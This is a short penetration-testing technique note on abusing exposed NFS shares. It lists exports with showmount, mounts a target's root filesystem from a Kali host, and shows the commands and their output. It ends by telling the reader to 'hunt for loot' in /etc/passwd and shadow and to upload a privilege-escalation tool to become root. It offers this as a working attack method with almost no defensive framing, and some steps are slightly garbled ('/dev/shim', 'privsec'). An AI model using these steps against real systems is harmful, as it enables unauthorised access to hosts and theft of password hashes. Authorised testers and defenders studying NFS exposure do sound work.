

# TTP – NFS Service Abuse Techniques

## Detecting NFS Shares:

- Check Nmap results for Open NFS Shares (NFS)
  - If NFS share service found continue...
- In Kali host, type: `showmount -e {IP of tgt}`
  - Example results: `/*` - the root of the host is shared
  - Note each share name for following actions:

```
root@pentestlab:~# showmount -e 172.16.212.133
Export list for 172.16.212.133:
/*
```

- Deploying tools and code from your Kali Host:
  - Make a share on your host: `mkdir /root/working/cndwarez/`
- Mount the share for an On-host foothold:
  - `mount -t nfs {tgt_ip}:{tgtsharename} /root/working/cndwarez/ -o nolock`

```
root@pentestlab:~# mkdir /temp/
root@pentestlab:~# mount -t nfs 172.16.212.133:/ /temp -o nolock
```

- Display the Mounted Folder:
  - `df -h`

```
root@pentestlab:~# df -h
Filesystem      Size  Used Avail Use% Mounted on
/dev/sda1       70G   57G   9.2G  87% /
none            1.3G  276K  1.3G   1% /dev
none            1.3G    0  1.3G   0% /dev/shm
none            1.3G  220K  1.3G   1% /var/run
none            1.3G    0  1.3G   0% /var/lock
none            1.3G    0  1.3G   0% /lib/init/rw
172.16.212.133:/ 7.0G  1.5G  5.2G  22% /temp
root@pentestlab:~#
```

- Hunt for Loot:
  - `/etc/passwd` & `shadow`
  - If not superuser goto: `/dev/shim`
    - Upload load privsec to become root
      - <http://www.kmbl.us/les/working.php>